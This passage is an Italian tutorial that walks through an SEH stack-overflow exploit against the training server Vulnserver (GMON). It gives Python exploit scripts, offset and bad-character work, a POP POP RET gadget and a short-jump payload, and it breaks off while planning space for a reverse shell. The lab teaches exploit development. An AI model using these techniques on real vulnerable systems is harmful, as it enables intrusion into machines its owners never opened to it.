SEH Overflow I - Vulnserver GMON

Tempo di lettura: 26 minuti
Data pubblicazione: October 10, 2022

Introduzione

Con questo articolo continuiamo la serie Stack Overflow passando ad un nuovo argomento, ossia il SEH Structured exception handling.

Un gestore di eccezioni è un costrutto di programmazione utilizzato per fornire un modo strutturato per gestire le condizioni di errore a livello di sistema e di applicazione. A livello di codice solitamente si trova sotto forma di un costrutto di questo tipo

try {
    //fai qualcosa
} 
catch {
    //se va in errore fai altro
}

Ogni volta che viene incontrato un try block, un puntatore al corrispondente exception handler è salvato sullo stack nella struttura _EXCEPTION_REGISTRATION_RECORD. Poichè ci possono essere diversi try in una funzione, queste strutture sono connesse in una linked list, come la seguente

Quando avviene un eccezione il sistema operativo inspeziona la struttura TEB per ottenere un puntatore (chiamato ExceptionList) alla linked list tramite il registro CPU FS. In questo modo il programma saprà sempre quale è l’eccezione successiva, fino ad arrivare all’ultima che è quella di sistema (0xFFFFFFFF).

Se volessimo analizzare questa linked list con WinDBG, è sufficente analizzare la struttura TEB per capire l’indirizzo di ExceptionList e poi dumpare il record _EXCEPTION_REGISTRATION_RECORD a quell’indirizzo di memoria. Per esempio

0:004> !teb
TEB at 002be000
    ExceptionList:        0100ff60
    StackBase:            01010000
    StackLimit:           0100c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
.....

In questo caso l’indirizzo che vogliamo verificare è 0100ff60. Vediamo l’exception record e la chain completa con il seguente comando.

0:004>  dt _EXCEPTION_REGISTRATION_RECORD 0100ff60
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x0100ffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77eb84b0     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

L’handler corrente è 0x77eb84b0, mentre il successivo catch è sull’indirizzo 0x0100ffcc. Questo prosegue fino ad arrivare a 0xffffffff che è l’exception handler di sistema.

0:004> dt _EXCEPTION_REGISTRATION_RECORD 0x0100ffcc 
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x0100ffe4 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77eb84b0     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

0:004> dt _EXCEPTION_REGISTRATION_RECORD 0x0100ffe4 
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77ec5c42     _EXCEPTION_DISPOSITION  ntdll!FinalExceptionHandlerPad2+0

Nei prossimi paragrafi vedremo un esempio pratico del funzionamento del SEH e di come exploitarlo.

Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Vulnserver

Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.

Crash Iniziale

Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.

import struct
import socket


TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me

payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

In questo caso EIP non è stato sovrascritto ma sembra ci sia stato un problema durante l’esecuzione e sia stata sollevata un’eccezione. Se proseguiamo l’esecuzione (con g) vediamo che EIP viene però sovrascritto.

0:001> r
eax=7efefefe ebx=000000cc ecx=00b442dc edx=41414141 esi=00401848 edi=008e0000
eip=77ba6819 esp=008df1d0 ebp=008df9c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
msvcrt!strcat+0x89:
77ba6819 8917            mov     dword ptr [edi],edx  ds:0023:008e0000=????????
0:001> g
(125c.1af0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77ec5b10 esi=00000000 edi=00000000
eip=41414141 esp=008dec80 ebp=008deca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

Per capire cosa è successo, riavvio e una volta lanciato l’exploit analizzo il SEH con WinDBG. Per prima cosa con il comando !teb prendo l’indirizzo dell’ExceptionList e successivamente dumpo il _EXCEPTION_REGISTRATION_RECORD a quell’indirizzo

0:004> !teb
TEB at 00395000
    ExceptionList:        0103ffcc
    StackBase:            01040000
    StackLimit:           0103f000
....

0:004> dt _EXCEPTION_REGISTRATION_RECORD 0103ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141

Come possiamo vedere è stato sovrascritto il puntatore alla prossima linked list di eccezioni e abbiamo il controllo del flusso. C’è un comando più immediato su WinDBG che è !exchain. L’output ci mostra il SEH corrette e il NextSEH, in modo da capire quale sarà il prossimo indirizzo in cui si andrà.

0:004> !exchain
0103ffcc: 41414141
Invalid exception stack at 41414141

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 5011

Riavvio VulnServer e aggiorno lo script inserendo il pattern

import struct
import socket


TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me

payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0..."

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Guardiamo la chain

0:001> !exchain
00a0ec94: ntdll!ExecuteHandler2+44 (77ec5b10)
00a0ffcc: 6f45336f
Invalid exception stack at 45326f45

E con monda cerchiamo l’offset preciso dei due indirizzi.

0:001> !py mona po 45326f45
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 45326f45
Looking for Eo2E in pattern of 500000 bytes
- Pattern Eo2E (0x45326f45) found in cyclic pattern at position 3546

0:001> !py mona po 6f45336f
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 6f45336f
Looking for o3Eo in pattern of 500000 bytes
- Pattern o3Eo (0x6f45336f) found in cyclic pattern at position 3550

Anche con il comando findmsp avremmo potuto ottenere lo stesso risultato

0:001> !py mona findmsp
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x001d34ca (length 4086 bytes)
    Cyclic pattern (normal) found at 0x00a0f1f2 (length 3598 bytes)
    -  Stack pivot between 1394 & 4992 bytes needed to land in this pattern
[+] Examining registers
    EIP contains normal pattern : 0x6f45336f (offset 3550)
    ECX contains normal pattern : 0x6f45336f (offset 3550)
[+] Examining SEH chain
    SEH record (nseh field) at 0x00a0ffcc overwritten with normal pattern : 0x45326f45 (offset 3546), followed by 44 bytes of cyclic data after the handler
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x00a0d000 to 0x00a0fffc (0x00002ffc bytes)

Per confermare dumpiamo l’exchain manualmente.

0:001> !teb
TEB at 002c0000
    ExceptionList:        00a0ec94
    StackBase:            00a10000
    StackLimit:           00a0d000
    ....
    HardErrorMode:        0
0:001>  dt _EXCEPTION_REGISTRATION_RECORD 00a0ec94
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x00a0ffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77ec5b10     _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0

0:001> dx -r1 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xa0ffcc)
((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xa0ffcc)                 : 0xa0ffcc [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x000] Next             : 0x45326f45 [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x004] Handler          : 0x6f45336f [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]

0:001> dx -r1 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x45326f45)
((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x45326f45)                 : 0x45326f45 [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x000] Next             : Unable to read memory at Address 0x45326f45
    [+0x004] Handler          : Unable to read memory at Address 0x45326f49

Ora non resta che verificare che l’offset sia corretto. Inserisco 4 C in SEH e 4 B in NSEH

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Per vedere quali caratteri sono rimasti, dobbiamo proseguire l’esecuzione per passare il flusso all’exception handler

Successivamente troviamo l’indirizzo di ExceptionList con !teb

0:003> !teb
TEB at 002e3000
    ExceptionList:        00edec94
    StackBase:            00ee0000
    StackLimit:           00edd000
    .....

E dumpiamo di dati del record puntuale

0:003> dt _EXCEPTION_REGISTRATION_RECORD 00edec94
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x00edffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77ec5b10     _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0

Ora abbiamo l’indirizzo preciso su dove si trova il nostro buffer. Lo dumpiamo e vediamo se c’è qualche bad char

0:003> db 0x00edffcc 
00edffcc  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
00edffdc  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
00edffec  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
00edfffc  29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  )*+,??

Quello che stiamo analizzando adesso è la funzione __C_specific_handler che è cosi composta:

_CRTIMP  __C_specific_handler(
_In_    struct _EXCEPTION_RECORD   *ExceptionRecord,
_In_    void                       *EstablisherFrame,
_Inout_ struct _CONTEXT            *ContextRecord,
_Inout_ struct _DISPATCHER_CONTEXT *DispatcherContext
);

Infatti se analizziamo ESP e dumpiamo il 2° argomento presente sullo stack otterremo lo stesso risultato

0:003> dds esp L5
00edec80  77ec5af2 ntdll!ExecuteHandler2+0x26
00edec84  00eded80 #ExceptionRecord
00edec88  00edffcc  #EstablisherFrame
00edec8c  00eded9c #ContextRecord
00edec90  00eded0c #DispatcherContext

0:003> db 00edffcc
00edffcc  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
00edffdc  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
00edffec  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
00edfffc  29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  )*+,????????????
00ee000c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Vediamo però che da \x2c non c’è più nulla. Cancello quindi \x2d e rilancio l’exploit

0:003> db 00dfffcc
00dfffcc  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
00dfffdc  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
00dfffec  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
00dffffc  29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  )*+,????????????

Stesso risultato. Provo quindi a cancellare anche \x2c ma la situazione non cambia. Probabilmente significa che il nostro buffer termina li e quello è l’unico spazio che abbiamo per sovrascrivere la memoria. Divido comunque i bad char in slot da 20 ed eseguo fino a che non li faccio passare tutti, giusto per capire se ce n’è qualcuno ma pare di no.

POP POP RET

Mentre negli scorsi esercizi avevamo il controllo del return address (e di conseguenza del registro EIP), in questo caso la situazione è ben diversa. Come abbiamo visto prima ciò che controlliamo è l’indirizzo dell’exception handler

0:003> !teb
TEB at 00288000
    ExceptionList:        00efec94
    StackBase:            00f00000
    StackLimit:           00efd000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00288000
    EnvironmentPointer:   00000000
    ClientId:             00002704 . 00001de8
    RpcHandle:            00000000
    Tls Storage:          0080e3a8
    PEB Address:          00284000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0
0:003> dt _EXCEPTION_REGISTRATION_RECORD  00efec94
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x00efffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77ec5b10     _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0
0:003> dx -r1 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xefffcc)
((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0xefffcc)                 : 0xefffcc [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x000] Next             : 0x42424242 [Type: _EXCEPTION_REGISTRATION_RECORD *]

Questo significa che per reindirizzare il flusso di esecuzione sul nostro buffer, potremmo sovrascrivere l’exception handler con l’indirizzo di un’istruzione che ritorna da EstablisherFrame, il quale poi andrà sullo stack e verrà eseguito. Una delle istruzioni più comuni che si può usare è POP REG; POP REG; RET poiché poppa il return address e l’argomento ExceptionRecord sullo stack ed infine esegue una RET sull’indirizzo di EstablisherFrame (teniamo bene a mente la funzione __C_specific_handler)

Prendendo esempio dalla bibbia del buffer overflow i passi del SEH exploitation sono quindi:

  1. Causare un eccezione. Senza un eccezione, l’handler SEH non sarà eseguito.
  2. Sovrascrivere il SE handler con un l’istruzione POP POP RET per puntare all’indirizzo di EstablisherFrame (su cui abbiamo il controllo)
  3. Sovrascrivere il puntatore al prossimo SEH (Next SEH) record con un jumpcode che salti al nostro shellcode.
  4. Inserire lo shellcode subito dopo il SE handler.

Lo shellcode completo avrà quindi (nella migliore delle ipotesi) questa forma

[Junk_AAAA][nSEH_Jump][SEH_POP_POP_RET][NopNopNop..][Shellcode_Exploit]

Ora dobbiamo quindi trovare questi POP POP RET. Ci viene incontro mona con il seguente comando:

0:003> !py mona seh  -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh

---------- Mona command started on 2022-09-04 16:43:34 (v2.0, rev 616) ----------
….
[+] Results : 
0x625010b4 |   0x625010b4 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x00402673 |   0x00402673 : pop ebx # pop ebp # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [vulnserver.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\vulnserver.exe)
0x6250172b |   0x6250172b : pop edi # pop ebp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x6250195e |   0x6250195e : pop edi # pop ebp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)

Prendiamo il primo visto che tutte le protezioni sono disattivate, aggiorno lo script, metto il breakpoint su 0x625010b4 ed eseguo (ricordiamo che dopo che va in crash è da eseguire di nuovo con g perché la prima eccezione la cattura winDBG)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Come possiamo vedere le prossime istruzioni sono proprio POP POP RET. Se proseguiamo l’esecuzione passo passo (con t) vediamo POP, RET ed infine le nostre B

0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b5 esp=00ebec84 ebp=00ebeca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b5:
625010b5 5d              pop     ebp
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b6 esp=00ebec88 ebp=00ebed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b6:
625010b6 c3              ret
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00ebffcc esp=00ebec8c ebp=00ebed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ebffcc 42              inc     edx
0:003> db eip
00ebffcc  42 42 42 42 b4 10 50 62-44 44 44 44 44 44 44 44  BBBB..PbDDDDDDDD
00ebffdc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00ebffec  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00ebfffc  44 44 44 44 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  DDDD????????????
00ec000c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ec001c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ec002c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ec003c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Saltare allo shellcode

Ora quello che dobbiamo fare è mettere un jump di 8 al posto delle 4 B e due NOP per allineare gli indirizzi. In questo modo il flusso sarà:

  1. Eccezione
  2. POP POP RET con 0x625010b4
  3. Jump al NOP con 0x06eb9090 (short jump di 8 bytes)
  4. Slide ed esecuzione shellcode

Con nasm_shell ottengo l’opcode per lo short jump

kali@kali:~$ /usr/bin/msf-nasm_shell
nasm > jmp short 8
00000000  EB06              jmp short 0x8

Riprendendo lo schema di prima avremo

[Junk_AAAA][0x06eb9090][0x625010b4][NopNopNop..][Shellcode_Exploit]

Aggiorno, metto breakpoint al solito punto (0x625010b4) e lancio

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 


VULNSRVR_CMD = b"GMON /.../"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Faccio un po' di step fino ad arrivare allo short jump 8

0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b5 esp=00e9ec84 ebp=00e9eca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b5:
625010b5 5d              pop     ebp
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=625010b6 esp=00e9ec88 ebp=00e9ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b6:
625010b6 c3              ret
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffcc esp=00e9ec8c ebp=00e9ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00e9ffcc 90              nop
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffcd esp=00e9ec8c ebp=00e9ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00e9ffcd 90              nop
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffce esp=00e9ec8c ebp=00e9ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00e9ffce eb06            jmp     00e9ffd6
0:003> u 00e9ffd6
00e9ffd6 90              nop
00e9ffd7 90              nop
00e9ffd8 90              nop
00e9ffd9 90              nop
00e9ffda 90              nop
00e9ffdb 90              nop
00e9ffdc 90              nop
00e9ffdd 90              nop
0:003> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=00e9ffd6 esp=00e9ec8c ebp=00e9ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00e9ffd6 90              nop
0:003> db eip
00e9ffd6  90 90 90 90 90 90 90 90-44 44 44 44 44 44 44 44  ........DDDDDDDD
00e9ffe6  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00e9fff6  44 44 44 44 44 44 44 44-44 44 ?? ?? ?? ?? ?? ??  DDDDDDDDDD??????
00ea0006  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ea0016  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ea0026  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ea0036  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00ea0046  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Ed ecco che il JMP ci porta allo NOP Sled, ottimo! Il problema è non c’è spazio per lo shellcode e dobbiamo trovare un’alternativa al classico metodo che abbiamo utilizzato per gli scorsi articoli. L’idea di base è quella di trovare un posto abbastanza grande nel quale inserire la nostra reverse shell. Visto che abbiamo un offset di 3546, perché non inserirlo li? Vediamo due metodi diversi basati sullo stesso approccio.

Jump Back nel mucchio

È un metodo un po' ignorante ma che funziona (almeno con le protezioni disattivate). L’idea è quella di fare un jump back in mezzo al nostro buffer, inserire qualche NOP sled per stare tranquilli e poi lo shellcode. Per riprendere lo schema di prima, il flusso del codice sarà:

  1. Eccezione
  2. POP POP RET con 0x625010b4
  3. Jump al NOP con 0x06eb9090 (short jump di 8 bytes)
  4. Slide e jump back di 400 (spazio necessario per qualche NOP e la reverse shell)
  5. Esecuzione dello shellcode

Lo schema del buffer è il seguente

[Junk_AAAA][NopNopNop..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][Jump-400][Junk]

Per ottenere il JMP -400 usiamo nasm shell

kali@kali:~$ /usr/bin/msf-nasm_shell
nasm > jmp -400
